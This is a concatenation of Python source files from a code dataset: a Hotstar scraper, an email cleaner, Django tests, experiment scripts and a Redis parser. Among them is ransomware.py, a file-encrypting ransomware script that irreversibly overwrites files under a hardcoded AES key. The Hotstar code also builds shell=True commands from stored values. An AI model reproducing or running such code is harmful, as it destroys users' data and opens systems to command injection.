'accept': '*/*',\n 'accept-encoding': 'gzip, deflate, br',\n 'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7',\n 'cache-control': 'no-cache',\n 'hotstarauth': self._auth,\n 'origin': 'https://www.hotstar.com',\n 'pragma': 'no-cache',\n 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36',\n 'x-country-code': 'in',\n 'x-platform-code': 'PCTV',\n 'x-region-code': 'MH',\n }\n return self._session.get(uri, headers=headers).json()\n\n def get_like_count(self, href):\n \"\"\"获取点赞个数\n\n Args:\n href (str): 主页链接\n \"\"\"\n payload = {\n 'action': 'like',\n 'app_id': '1439455966343706',\n 'channel': 'https://staticxx.facebook.com/connect/xd_arbiter/r/QX17B8fU-Vm.js?version=42#cb=f3c6bc113bd2484&domain=www.hotstar.com&origin=https%3A%2F%2Fwww.hotstar.com%2Ff2b3418ab76590c&relation=parent.parent',\n 'color_scheme': 'dark',\n 'container_width': '0',\n 'href': href,\n 'layout': 'button_count',\n 'locale': 'en_US',\n 'sdk': 'joey',\n 'share': 'false',\n 'show_faces': 'false',\n 'size': 'small',\n 'width': '275',\n }\n url = 'https://www.facebook.com/v2.9/plugins/like.php?{}'.format(urlencode(payload))\n response = self._session.get(url).text\n search_result = re.search('>(\\d+)<', response)\n if search_result:\n return int(search_result.group(1))\n\n search_result = re.search('>([0-9.]+)K<', response)\n if search_result:\n return int(float(search_result.group(1)) * 1000)\n\n return 0\n\n @staticmethod\n def gen_short(title):\n words = title.split(' ')\n vec = []\n for x in words:\n x = x.replace('-', '').replace('?', '').replace(\".\", '').replace(\n \":\", '').replace(\"+\", '').replace(\"'\", '').replace(\"*\", '').replace(\n \"(\", '').replace(\")\", '')\n if x:\n vec.append(x.lower())\n return '-'.join(vec)\n\nextractor = HotStarExtractor()\n\n\n@cache_region.cache_on_arguments(expiration_time=600)\ndef hotstar_crack_movie(imdb_id):\n record = HotStarMovie.query_by_imdb(imdb_id)\n if not record:\n return {}\n\n cmd = '/data/env/swallow/bin/youtube-dl --skip-download --print-json {}'.format(record.slate)\n output = subprocess.check_output(cmd, shell=True)\n info = ujson.loads(output)\n detail = {\n 'poster': record.poster,\n 'slate': record.slate,\n 'formats': info['formats'],\n 'duration': record.duration,\n }\n return detail\n\n\n@cache_region.cache_on_arguments(expiration_time=600)\ndef hotstar_crack_episode(content_id):\n record = HotStarShowEpisode.get(content_id)\n if not record:\n return {}\n\n cmd = '/data/env/swallow/bin/youtube-dl --skip-download --print-json {}'.format(record.slate)\n output = subprocess.check_output(cmd, shell=True)\n info = ujson.loads(output)\n detail = {\n 'poster': record.poster,\n 'slate': record.slate,\n 'formats': info['formats'],\n 'duration': record.duration,\n }\n return detail\n\n\ndef check_playable(url):\n cmd = '/data/env/swallow/bin/youtube-dl -F {}'.format(url)\n try:\n subprocess.check_call(cmd, shell=True)\n return True\n except:\n return False\n\n\ndef es_insert_show(record):\n \"\"\"向es中插入电视剧信息\n\n Args:\n record (HotStarShow): 电视剧信息\n \"\"\"\n body = {\n 'id': str(record.show_id),\n 'content_id': str(record.content_id),\n 'title': record.title,\n 'poster': record.poster,\n 'type': 'show',\n 'channel_name': record.channel_name,\n 'episode_count': record.episode_count,\n 'season_count': record.season_count,\n 'genre': [record.genre],\n 'language': [record.language],\n 'like': record.like,\n }\n es_client.index(show_doc, show_type, body, id=str(record.show_id))\n\n\ndef es_update_broadcast(show_id, broadcast):\n \"\"\"更新es中的电视剧更新时间\n\n Args:\n show_id (int): 电视剧id\n broadcast (int): 播放时间戳\n \"\"\"\n es_client.update(show_doc, show_type, str(show_id), body={\n \"script\": {\n \"source\": \"ctx._source.updated_at = params.updated_at\",\n \"lang\": \"painless\",\n \"params\": {\n \"updated_at\": broadcast\n }\n }\n })\n","sub_path":"swallow/service/hotstar.py","file_name":"hotstar.py","file_ext":"py","file_size_in_byte":7075,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"642253617","text":"from Crypto.Cipher import AES\r\nfrom Crypto import Random\r\nimport argparse\r\nimport glob\r\nimport os\r\nfrom termcolor import cprint\r\n\r\nclass Ransomware:\r\n KEY = b'\\xbf\\xc0\\x85)\\x10nc\\x94\\x02)j\\xdf\\xcb\\xc4\\x94\\x9d(\\x9e[EX\\xc8\\xd5\\xbfI{\\xa2$\\x05(\\xd5\\x18' \r\n DEFAULT_PATH = 'dat/'\r\n FILE_LIST = []\r\n DIR_LIST = []\r\n\r\n def __init__(self, path=DEFAULT_PATH):\r\n self.PATH = path\r\n self.DIR_LIST.append(self.PATH) \r\n\r\n def encrypt(self):\r\n self.find_files_recursive()\r\n\r\n for x in self.FILE_LIST:\r\n print('Encoding '+colored(x, 'yellow')+' ...', end= ' ')\r\n\r\n with open(x, 'rb') as f:\r\n msg = f.read() \r\n \r\n encrypted_msg = self.encrypt_msg(msg)\r\n\r\n with open(x, 'wb') as f:\r\n f.write(encrypted_msg)\r\n\r\n print(f'completed')\r\n #os.remove(x)\r\n\r\n def encrypt_msg(self, msg):\r\n #Padding msg\r\n msg = self.pad_msg(msg)\r\n #I vector\r\n IV = Random.new().read(AES.block_size)\r\n #AES cipher with CBC techinque\r\n cipher = AES.new(self.KEY, AES.MODE_CBC, IV)\r\n #Message encrypted\r\n return IV + cipher.encrypt(msg)\r\n\r\n def decrypt_msg(self, msg):\r\n #Padding msg\r\n msg = self.pad_msg(msg)\r\n #I vector\r\n IV = Random.new().read(AES.block_size)\r\n #AES cipher with CBC techinque\r\n cipher = AES.new(self.KEY, AES.MODE_CBC, IV)\r\n #Message encrypted\r\n return IV + cipher.encrypt(msg)\r\n\r\n def pad_msg(self, msg):\r\n return msg + b'\\0' * (AES.block_size - len(msg)%AES.block_size)\r\n\r\n def find_files_recursive(self):\r\n '''\r\n Find the files contained in the path specified in the\r\n constructor of the Ransomware, by looking for them \r\n recursively in all the found subfolders.\r\n '''\r\n\r\n #Analyse all the directories in DIR_LIST\r\n for x in self.DIR_LIST:\r\n #List all the content of the folder analysed\r\n content_list = os.listdir(x)\r\n \r\n #Analyse the content of the folder\r\n for f in content_list:\r\n\r\n if os.path.isdir(x+f):\r\n #If the content is a directory, the path of the\r\n #subfolder is inserted in the directory list, so \r\n #it will be analysed in the next iteration of the\r\n #loop\r\n self.DIR_LIST.append(x+f+'/')\r\n else:\r\n #If the content is a file, the file path is \r\n #added to FILE_LIST\r\n self.FILE_LIST.append(x+f)\r\n\r\n #Show directory analysed during the current iteration\r\n cprint(x, 'red')\r\n\r\n #Print the list of all the files found recursively\r\n cprint(self.FILE_LIST, 'yellow')\r\n\r\ndef args_parser():\r\n '''\r\n Parser of command line arguments\r\n '''\r\n\r\n #Parser of command line arguments\r\n parser = argparse.ArgumentParser()\r\n \r\n #Initialization of needed arguments\r\n parser.add_argument(\"-path\", \"-p\", dest=\"path\", help=\"Path with files to be encrypted\")\r\n \r\n #Parse command line arguments\r\n args = parser.parse_args()\r\n \r\n return args.path\r\n\r\ndef main():\r\n path = args_parser()\r\n print(path)\r\n #Creation of the ransomware\r\n virus = None \r\n\r\n if path:\r\n virus = Ransomware(path)\r\n else:\r\n virus = Ransomware()\r\n\r\n virus.encrypt()\r\n\r\nif __name__=='__main__':\r\n main()\r\n","sub_path":"Utility/data_encrypter/dat/1/ransomware.py","file_name":"ransomware.py","file_ext":"py","file_size_in_byte":3537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"443465903","text":"# Python code for measure reacation time in human subject\n# with computer monitor and keyboard\n\nimport matplotlib.pyplot as plt #pip install matplotlib; pip install pyQt5\nimport numpy as np \nimport time # No need for installation\nfrom matplotlib.widgets import Button\nfrom PIL import Image #pip install Pillow\n\n# import picture to randomize and set dimentions \n# set globle variables\ntime_display=0\ntime_interval = []\nt_press = 0\ndelay = 1\nreaction_time=0\n\n\n###################################### Sara Editing\nroad_im = Image.open(\"road2.png\") # choose pictures and directions.\nimage_raw = np.array(road_im)\nstim_x_size=150 ## size of your final noise stimulation\nstim_y_size=150\n\nchance = 3 # chance of displaying the bar\n\nsignal_x_size = 50 #size of the bar\nsignal_y_size = 50\n################################################3\nx_res = road_im.size[0] \ny_res = road_im.size[1]\n\n\n\ndef main():\n #1. Randomize image and produce image and image_shuffle\n image,image_shuffle = randomize_image()\n\n #2. Plot the image and note the initiation time point\n line1, im = plotimage(image,image_shuffle)\n time_display = time.time() \n fig.canvas.mpl_connect('button_press_event', on_press)\n\n #3. display new image\n make_new_image(image,image_shuffle,line1,im,time_interval)\n #3. Make image with randomize pixels from a picture.\n \n\n #x Final report\n final_report()\n\ndef randomize_image():\n x_ram_loc = np.random.randint(0,high=x_res-stim_x_size)\n y_ram_loc = np.random.randint(0,high=y_res-stim_y_size)\n image_temp = image_raw.reshape(x_res*y_res,3)\n np.random.shuffle(image_temp)\n image_shuffle = image_temp.reshape((x_res,y_res,3))\n image = image_shuffle[x_ram_loc:(x_ram_loc+stim_x_size),y_ram_loc:(y_ram_loc+stim_y_size),:]\n return image, image_shuffle\n \ndef plotimage(image,image_shuffle):\n global fig\n fig, ax1 = plt.subplots(figsize = (10,10))\n plt.ion()\n plt.show(block=False)\n im = plt.imshow(image)\n fig_result = plt.figure()\n ax_result = plt.subplot(111)\n line1, = ax_result.plot(np.arange(len(time_interval)),time_interval)\n ax_result.set_ylim([0,delay+0.5])\n ax_result.set_xlim([0,40])\n return line1, im\n\ndef on_press(event):\n global t_press\n print('you pressed', event.button, event.xdata, event.ydata)\n t_press = time.time()\n if t_press - time_display < delay:\n time_interval.append(t_press-time_display)\n print(t_press)\n print(time_display)\n print(time_display-t_press)\n print(time_interval)\n\ndef make_new_image(image,image_shuffle, line1, im,time_interval):\n global time_display\n rand_choice = round(np.random.random()*100)%chance\n for i in range(1,300,1):\n m =0\n if rand_choice == 0:\n ## display a figure at random time\n start_p = np.random.choice(stim_x_size-signal_x_size)\n end_p = np.random.choice(stim_y_size-signal_y_size)\n Signal_start_point = (start_p,(stim_x_size-start_p))\n Signal_end_point = (end_p,(stim_y_size-end_p))\n\n row_pad = (start_p,(stim_x_size-start_p-signal_x_size))\n column_pad =(end_p,(stim_y_size-end_p-signal_y_size))\n\n x_ram_loc = np.random.randint(0,high=x_res-stim_x_size)\n y_ram_loc = np.random.randint(0,high=y_res-stim_y_size)\n \n image = image_shuffle[x_ram_loc:(x_ram_loc+stim_x_size),y_ram_loc:(y_ram_loc+stim_y_size),:]\n print(image.shape, image_shuffle.shape)\n time_display = time.time()\n for m in range(1,10,1):\n Red = np.random.uniform(0,1,signal_x_size*signal_y_size)\n Green = np.full((signal_x_size*signal_y_size),0)\n Blue = np.full((signal_x_size*signal_y_size),0)\n\n print(Signal_start_point,Signal_end_point)\n Z_signal = np.concatenate((Red,Green,Blue),axis=0)\n Z_signal = Z_signal.reshape((3,signal_x_size,signal_y_size))\n Z_signal = np.transpose(Z_signal, (2,1,0))\n Z_signal = np.pad(Z_signal,(column_pad,row_pad,(0,0)),'constant',constant_values=(0,0))\n Z_mask = np.zeros(signal_x_size*signal_y_size*3).reshape((3,signal_x_size,signal_y_size))\n Z_mask = np.transpose(Z_mask, (2,1,0))\n Z_mask = np.pad(Z_mask,(column_pad,row_pad,(0,0)),'constant',constant_values=(1,1))\n Z_new = image*Z_mask/255 + Z_signal\n np.save(('patterns/test'+str(i)+'_'+str(m)),np.array(Z_new))\n Z_new = np.load('patterns/test'+str(i)+'_'+str(m)+'.npy')\n im.set_data(Z_new)\n plt.pause(0.25)\n \n x_ram_loc = np.random.randint(0,high=x_res-stim_x_size)\n y_ram_loc = np.random.randint(0,high=y_res-stim_y_size)\n image = image_shuffle[x_ram_loc:(x_ram_loc+stim_x_size),y_ram_loc:(y_ram_loc+stim_y_size),:]\n \n np.save(('patterns/test'+str(i)+'_'+str(m)+'blank'),np.array(Z_new)) \n image = np.load(('patterns/test'+str(i)+'_'+str(m)+'blank.npy'))\n im.set_data(image)\n plt.pause(0.25)\n\n print(time_interval)\n print(np.average(time_interval))\n \n print(reaction_time)\n line1.set_xdata(np.arange(len(time_interval)))\n line1.set_ydata(time_interval)\n\n else: \n plt.pause(0.25)\n x_ram_loc = np.random.randint(0,high=x_res-stim_x_size)\n y_ram_loc = np.random.randint(0,high=y_res-stim_y_size)\n image = image_shuffle[x_ram_loc:(x_ram_loc+stim_x_size),y_ram_loc:(y_ram_loc+stim_y_size),:]\n np.save(('patterns/test'+str(i)+'_0'),np.array(image))\n image = np.load('patterns/test'+str(i)+'_0.npy')\n print(image.shape)\n im.set_data(image)\n plt.pause(0.25)\n rand_choice = round(np.random.random()*100)%chance\n print(np.average(time_interval))\n\ndef final_report():\n reaction_time = \"Reaction Time: \" + str(np.average(time_interval))\n plt.text(0,-1,reaction_time,color = \"red\", fontsize = 18)\n plt.pause(30)\n\n#This is necessary. It finally calls main function to run.\nmain()\n","sub_path":"Reaction_Time_v1/reaction_time_v8.py","file_name":"reaction_time_v8.py","file_ext":"py","file_size_in_byte":6273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"441567363","text":"import html\nimport re\nimport os\n\nfrom email.parser import Parser\nimport email.header\n\nskip_list = ['invitation is waiting for your response',\n 'invitation is awaiting your response',\n 'has endorsed you',\n 'News about ',\n 'new discussion',\n 'please add me to your LinkedIn network',\n 'just joined! Want to connect?',\n 'we\\'ve recommended for you',\n 'You\\'re now connected to',\n 'on LinkedIn',\n 'people are looking at your LinkedIn profile',\n 'other big changes in your network',\n 'are looking for candidates like you',\n 'Important information about your LinkedIn account',\n 'connections, experience, and more',\n 'are already using LinkedIn Lookup',\n 'Do you know ',\n 'Congratulate ',\n 'other jobs for you.',\n 'viewed your profile',\n 'get your exclusive invite for a free trial of Premium Career',\n '\\'s new photo',\n 'likes your new job',\n 'you have a new suggested connection to review',\n 'A change to your ',\n 'thanks for being an active member',\n 'stay informed from the top minds in business',\n 'try a free month of LinkedIn Premium Professional',\n 'start a conversation with your new connection',\n 'LinkedIn ProFinder',\n 'if you could fix one thing, what would it be',\n 'Say happy birthday to',\n 'endorsed you',\n 'You appeared in ',\n 'Confirm your email address',\n 'new jobs for you',\n 'Welcome to Premium',\n 'your password was successfully reset',\n 'new skill',\n 'your new connection...',\n 'joined your network! Learn more',\n 'terms of service',\n 'Verify your sign-in attempt',\n 'be one of my first LinkedIn connections',\n 'LinkedIn Premium Service Suspended',\n 'congratulated you on your new job!',\n 'please help me build my LinkedIn network',\n 'Important notice about',\n 'Welcome',\n 'is_waiting_for_your_response',\n 'sent you a new message',\n ' meet the new LinkedIn',\n 'turn your education into a job magnet',\n 'was there someone who recognized your potential when no one else did?',\n 'Message replied:',\n 'other career moves in your network',\n '[New announcement] Announcement',\n 'Connect to your classmates from',\n 'other changes in your network',\n 'Your request for your data archive',\n 'like your new job',\n 'Get LinkedIn for',\n 'Your LinkedIn Order',\n 'salaries',\n 'Would you like to update your location',\n '\\'s updated profile',\n 'want to join your network',\n '\\'s updated profile',\n 'Worlds Greatest Sourcer 2016 Call for Contestants',\n 'here\\'s the link to reset your password',\n 'mentioned you in a post',\n 'also commented on ',\n 'other connections made this past year',\n 'compare your salary to other',\n 'Your data archive is ready',\n 'Reminder: Don\\'t forget your InMail',\n 'Wendy',\n 'New InfoSec jobs and career tips from the only InfoSec careers site']\n\nfooter_list = ['You are receiving InMail notification emails',\n 'You are receiving Emails from Recruiter notification emails',\n 'Go here to reply:',\n 'You received an invitation to connect.',\n '.....................................',\n 'View/reply to this message',\n 'You received this email because you are subscribed to Marketing Information']\n\n\ndef in_skip(text):\n for skip in skip_list:\n if text.lower().find(skip.lower()) >= 0:\n return True\n return False\n\n\ndef get_plaintext(msg):\n if msg.is_multipart():\n for m in msg.get_payload():\n if m.get_content_type().lower() == 'text/plain':\n return m.get_payload(decode=True)\n elif m.is_multipart():\n return get_plaintext(m)\n return ''\n\n\ndef clean_linkedin(body):\n b = body\n for footer in footer_list:\n if b.find(footer) >= 0:\n b = b.split(footer)[0]\n return b\n\n\ndef clean():\n count = 0\n existing = []\n directories = ['corpus/original/a', 'corpus/original/b']\n for directory in directories:\n for filename in os.listdir(directory):\n with open(f'{directory}/{filename}', 'r', encoding='ISO-8859-1') as fp:\n msg = Parser().parse(fp)\n subject = msg['subject']\n if subject is None:\n continue\n subject = email.header.decode_header(subject)[0][0]\n if isinstance(subject, bytes):\n subject = subject.decode(\"utf-8\", \"ignore\")\n subject = subject.replace('\\n', '')\n if in_skip(subject):\n continue\n if subject.lower().startswith('re:'):\n continue\n payload = get_plaintext(msg)\n if isinstance(payload, bytes):\n payload = payload.decode(\"utf-8\", \"replace\")\n payload = payload.replace('\\ufffd', ' ')\n payload = html.unescape(payload)\n payload = re.sub('<[^<]+?>', '', payload)\n payload = clean_linkedin(payload)\n payload = payload.replace('\\n\\n\\n', '\\n\\n')\n payload = payload.replace('\\n\\n\\n', '\\n\\n')\n payload = payload.replace('\\n\\n\\n', '\\n\\n')\n if payload.find('Please view this email in a browser') >= 0:\n continue\n if payload.find('The Official Association for Computing Machinery (ACM) Group') >= 0:\n continue\n if payload.find('Southern Illinois University Saluki Alumni Network') >= 0:\n continue\n if payload.find('The text version doesn\\'t do this email justice') >= 0:\n continue\n if payload.find('RSVP') >= 0:\n continue\n subject = subject.replace('Sarah', 'Jane').replace('Harvey', 'Doe')\n payload = payload.replace('Sarah', 'Jane').replace('Harvey', 'Doe')\n payload = re.sub('https?://[.\\\\-\\\\w/%=?&]+', 'https://www.example.com', payload)\n test = f'{subject}\\n{payload}'\n if test not in existing:\n existing.append(test)\n print(f'{directory}/{filename} {test}\\n\\n')\n count += 1\n for i in range(len(existing)):\n with open(f'corpus/clean/output_{i}.txt', 'w') as fp:\n fp.write(existing[i])\n print(count)\n print(len(existing))","sub_path":"shh/ml/clean.py","file_name":"clean.py","file_ext":"py","file_size_in_byte":7019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"246710297","text":"from requests.api import patch\nfrom rbBot.views import rbHookView\nfrom rbBot.models import Location, PlanningSession, Route, User\nfrom django.test import TestCase, RequestFactory\nfrom unittest import mock\nfrom unittest.mock import call\nimport json\n\n# Create your tests here.\n\n# test database\n# test creating a new user\n# test separation of multiple users\n# test logic of user behaviour\n# test multiple users behaviour doesnt clash\n\n# APICALLS INTEGRATION TEST\n\n\n\n# MODELS TEST\n\nclass ModelUserTest(TestCase):\n # Tests default fields\n def test_default(self):\n default_user = User()\n default_user.user_id=1\n default_user.save()\n got = User.objects.first()\n want = User()\n want = User()\n want.user_id = 1\n want.first_name = \"null\"\n want.last_name = \"null\"\n want.username = \"null\"\n want.is_started = True\n want.is_planning = False\n want.planning_route = 0\n want.routes_created = 0\n self.assertEqual(got, want)\n \n # Tests that multiple users can be stored\n def test_saving_and_retrieving_Users(self):\n # create 2 test users\n first_user = User()\n first_user.user_id = 2\n first_user.first_name = \"first\"\n first_user.last_name = \"last\"\n first_user.username = \"firstusername\"\n first_user.is_started = False\n first_user.is_planning = False\n first_user.planning_route = 1\n first_user.routes_created = 1\n first_user.save()\n second_user = User()\n second_user.user_id = 1\n second_user.first_name = \"second\"\n second_user.last_name = \"last\"\n second_user.username = \"secondusername\"\n second_user.is_started = True\n second_user.is_planning = True\n second_user.planning_route = 2\n second_user.routes_created = 2\n second_user.save()\n \n got = User.objects.all()\n \n # users should be sorted by id\n self.assertEqual(got[0], second_user)\n self.assertEqual(got[1], first_user)\n \nclass ModelPlanningSessionTest(TestCase):\n def test_saving_and_retrieving_sessions(self):\n default_user = User()\n default_user.user_id=1\n default_user.save()\n first = PlanningSession()\n first.chat_id = 2\n first.message_id = 2\n first.instance = 2\n first.message = 2\n first.user = default_user\n first.save()\n second = PlanningSession()\n second.chat_id = 1\n second.message_id = 3\n second.instance = 3\n second.message = 3\n second.user = default_user\n second.save()\n \n got = PlanningSession.objects.all()\n # test sorted by chat_id\n self.assertEqual(got[0], second)\n self.assertEqual(got[1], first)\n\nclass ModelRouteTest(TestCase):\n def test_saving_and_retrieving_routes(self):\n # Given\n default_user = User()\n default_user.user_id=1\n default_user.save()\n \n default_session = PlanningSession()\n default_session.chat_id = 2\n default_session.message_id = 2\n default_session.instance = 2\n default_session.message = 2\n default_session.user = default_user\n default_session.save()\n \n # When\n first_route = Route()\n first_route.route_id = 2\n first_route.user = default_user\n first_route.destinations = \"{first, second}\"\n first_route.current_session = default_session\n first_route.logged = False\n first_route.save()\n second_route = Route()\n second_route.route_id = 1\n second_route.user = default_user\n second_route.destinations = \"{second, third}\"\n second_route.current_session = None\n second_route.logged = True\n second_route.save()\n \n # Then\n # should ignore routeid order, follow save order\n got = Route.objects.all()\n self.assertEqual(got[0], first_route)\n self.assertEqual(got[1], second_route)\n \n \n def test_delete_planning_session(self):\n # Given\n default_user = User()\n default_user.user_id=1\n default_user.save()\n \n default_session = PlanningSession()\n default_session.chat_id = 2\n default_session.message_id = 2\n default_session.instance = 2\n default_session.message = 2\n default_session.user = default_user\n default_session.save()\n \n # When\n first_route = Route()\n first_route.route_id = 2\n first_route.user = default_user\n first_route.destinations = \"{first, second}\"\n first_route.current_session = default_session\n first_route.logged = False\n first_route.save()\n default_session.delete()\n \n # Then\n # session field should be set to null when corresponding session is deleted\n self.assertEquals(Route.objects.first().current_session, None)\n \n #TODO: add tests for when user is deleted\n \nclass ModelLocationTest(TestCase):\n def test_location_save_and_retrieve(self):\n # Given\n default_user = User()\n default_user.user_id=1\n default_user.save()\n \n default_session = PlanningSession()\n default_session.chat_id = 2\n default_session.message_id = 2\n default_session.instance = 2\n default_session.message = 2\n default_session.user = default_user\n default_session.save()\n \n first_route = Route()\n first_route.route_id = 2\n first_route.user = default_user\n first_route.destinations = \"{first, second}\"\n first_route.current_session = default_session\n first_route.logged = False\n first_route.save()\n second_route = Route()\n second_route.route_id = 1\n second_route.user = default_user\n second_route.destinations = \"{second, third}\"\n second_route.current_session = None\n second_route.logged = True\n second_route.save()\n \n # When\n first_loc = Location()\n first_loc.postal_code = 152532\n first_loc.long_address = \"first location's long address\"\n first_loc.longtitude = 123.456789123456789\n first_loc.latitude = 12.456789123456789\n first_loc.save()\n \n first_loc.routes.add(first_route)\n \n second_loc = Location()\n second_loc.postal_code = 152532\n second_loc.long_address = \"second location's long address\"\n second_loc.longtitude = 123.456789123456789\n second_loc.latitude = 12.456789123456789\n second_loc.save()\n \n # second_loc.route.set(second_route)\n \n # Then\n savedLoc = Location.objects.all()\n self.assertEquals(savedLoc[0], first_loc)\n self.assertEquals(savedLoc[1], second_loc)\n \n# This class groups tests on post requests with callback_query data field\n\n\nclass CallbackQueryTest(TestCase):\n def setUp(self):\n self.factory = RequestFactory()\n # create request body containing data from request\n # 1) contains: 'callback_query' field\n \n # 2) contains 'message'\n # a) contains text\n \n # test post request where user is not recorded in database\n @mock.patch('rbBot.botbrain.reply.requests') # mock telegram posts\n @mock.patch('rbBot.botbrain.reply.TOKEN', \"mockToken\") # mocks credentials for telegram\n def test_invalid_user(self, teleMock):\n # NOTE: Would have preferred to mock os.getenv instead of token directly, but\n # unittest sucks I actually spent 3 weeks trying to do this more rigorously\n \n # Given\n instance = 54235\n chat_id = 53425\n body = {\n \"callback_query\": {\n \"from\": {\n \"id\": 0 # sender, irrelevant\n },\n \"id\": instance, # instance\n \"message\": {\n \"message_id\": 0, # message_id, irrelevant\n \"chat\": {\n \"id\": chat_id, # target \n }\n },\n \n }\n }\n \n # When\n request = self.factory.post('/rbBot/bot-hook/', data=json.dumps(body),\n content_type='application/json') \n rbHookView.as_view()(request)\n wantedCalls = [call('https://api.telegram.org/botmockToken/answerCallbackQuery', data={'callback_query_id': instance, 'text': 'This message has expired and is no longer valid.', 'show_alert': True, 'url': '', 'cache_time': 0}), \n call('https://api.telegram.org/botmockToken/sendMessage', data={'chat_id': chat_id, 'text': 'Please input a valid command', 'parse_mode': 'Markdown'})]\n \n # Then\n self.assertEqual(wantedCalls, teleMock.post.call_args_list)\n \n \n \n def tearDown(self) -> None:\n pass\n \n \n \n \n\n# class logicTest(TestCase):\n# def setUp(self):\n# # TODO: create user(s) to test with\n \n \n# def test_single_user_can_activate(self):\n# fake_user = 327761768\n# fake_message_id = 1007\n# logic.activate(fake_message_id,fake_user)\n\n\n# TEST HELPERS\n# def setup_view(view, request, *args, **kwargs):\n# \"\"\"\n# Mimic ``as_view()``, but returns view instance.\n# Use this function to get view instances on which you can run unit tests,\n# by testing specific methods.\n# \"\"\"\n\n# view.request = request\n# view.args = args\n# view.kwargs = kwargs\n# return view","sub_path":"rbBot/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":9692,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"5962435","text":"import os\nfrom surprise import Dataset\nfrom surprise import Reader\nfrom surprise.model_selection import cross_validate\nfrom surprise.prediction_algorithms.knns import KNNWithMeans\nfrom surprise.similarities import pearson\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nfile_path = os.path.expanduser('ml-latest-small/ratings_new.csv')\nreader = Reader(sep=',')\ndata = Dataset.load_from_file(file_path, reader=reader)\n\nsim_options = {'name': 'pearson',\n 'user_based': True\n }\n\n\n\n\"\"\"=== Q30 ===\"\"\"\n\nprint(\"==== Q30 ====\")\n\n\navg_rmse = []\navg_mae = []\nall_k = []\nprev_rmse = 2\nconv_k = 0\n\n\n\n\nalgo = KNNWithMeans(k=i, sim_options=sim_options)\n \n \n \noutput = cross_validate(algo, data, measures=['RMSE', 'MAE'], cv=10, verbose=True, n_jobs=1)\navg_rmse.append(np.mean(output['test_rmse']))\navg_mae.append(np.mean(output['test_mae']))\n\n\nif np.mean(output['test_rmse']) > 0 and prev_rmse-np.mean(output['test_rmse']) < 0.0005:\n conv_k = i*2\nprev_rmse = np.mean(output['test_rmse'])\n\n\n\n\n","sub_path":"Q30.py","file_name":"Q30.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"418854104","text":"import io\nimport typing as t\n\nfrom django_docker_helpers.config.backends.base import BaseParser\nfrom django_docker_helpers.config.exceptions import KVEmptyValue\nfrom .yaml_parser import YamlParser\n\n\nclass RedisParser(BaseParser):\n def __init__(self,\n endpoint: str = 'service',\n host: str = '127.0.0.1',\n port: int = 6379,\n db: int = 0,\n path_separator: str = '.',\n inner_parser_class: t.Optional[t.Type[BaseParser]] = YamlParser,\n **redis_options):\n\n super().__init__(path_separator=path_separator)\n self.inner_parser_class = inner_parser_class\n self.endpoint = endpoint\n\n self.client_options = {\n 'host': host,\n 'port': port,\n 'db': db,\n }\n self.client_options.update(**redis_options)\n self._inner_parser = None\n\n def __str__(self):\n return '<{0} {1[host]}:{1[port]} db={1[db]} scope={2}>'.format(\n self.__class__.__name__,\n self.client_options,\n self.scope,\n )\n\n def get_client(self):\n # type: () -> redis.Redis\n import redis\n self._client = redis.Redis(**self.client_options)\n return self._client\n\n @property\n def inner_parser(self) -> BaseParser:\n if self._inner_parser is not None:\n return self._inner_parser\n\n config = self.client.get(self.endpoint)\n if not config:\n raise KVEmptyValue('Key `{0}` does not exist or value is empty'.format(self.endpoint))\n\n config = config.decode()\n\n self._inner_parser = self.inner_parser_class(\n config=io.StringIO(config),\n path_separator=self.path_separator,\n scope=None\n )\n return self._inner_parser\n\n def get(self,\n variable_path: str,\n default: t.Optional[t.Any] = None,\n coerce_type: t.Optional[t.Type] = None,\n coercer: t.Optional[t.Callable] = None,\n **kwargs):\n\n return self.inner_parser.get(\n variable_path,\n default=default,\n coerce_type=coerce_type,\n coercer=coercer,\n **kwargs,\n )\n","sub_path":"django_docker_helpers/config/backends/redis_parser.py","file_name":"redis_parser.py","file_ext":"py","file_size_in_byte":2250,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"220627369","text":"# -*- coding: utf-8 -*-\nfrom Tree import Tree\nfrom Node import Node\n\n\"\"\"\n筛选事务里面频繁的项\n\noriginData: 原始数据\nfirstFreSet: 第一频繁象集\n\"\"\"\n\nclass FPTree(Tree):\n\n def __init__(self, originData, sup):\n Tree.__init__(self)\n self.originData = originData\n self.sup = sup\n\n \"\"\"\n 过滤每一条事务频繁的项\n\n return: [[(key, value), ...], ...]\n \"\"\"\n def __filterTransitionFreItem(self):\n # 获取两个字符串的大小\n def str_cmp(v0, v1):\n v00 = v0[0]\n v10 = v1[0]\n if v00 > v10: return 1\n if v00 == v10: return 0\n if v00 < v10: return -1\n\n # 生成频繁一象集\n import Apriori\n self.firstFreSet = Apriori.generateFirstFreSet(originData=self.originData, sup=self.sup)\n\n transitionFreItems = [] # 所有频繁项事务的集合: 每一条事务频繁的项\n # 遍历每一条事务\n for items in self.originData:\n # 遍历事务里面的每一项\n # 如果item在第一频繁象集里面,则添加到_items里面\n _items = []\n for item in items:\n counter = self.firstFreSet.get(item)\n if counter != None: _items.append((item, counter))\n # if firstFreSet.__contains__(item): _items.append(item)\n\n _items.sort(cmp=str_cmp) # 排序\n transitionFreItems.append(_items) # 添加频繁集合里\n return transitionFreItems\n\n\n def buildTree(self):\n transition = self.__filterTransitionFreItem()\n for T in transition:\n self.__appendItems(T)\n\n \"\"\"\n 将一条事务添加到树中\n\n 判断事务的每一项是否是当前结点的的子节点\n 如果是: 当前结点变为子节点,继续向下搜索,直到事务的最后一项\n 如果不是: 则从当前结点开始, 后一项作为前一项的子节点,直到最后一项,最后退出方法\n\n T: 按降序排序[(I1, 5), 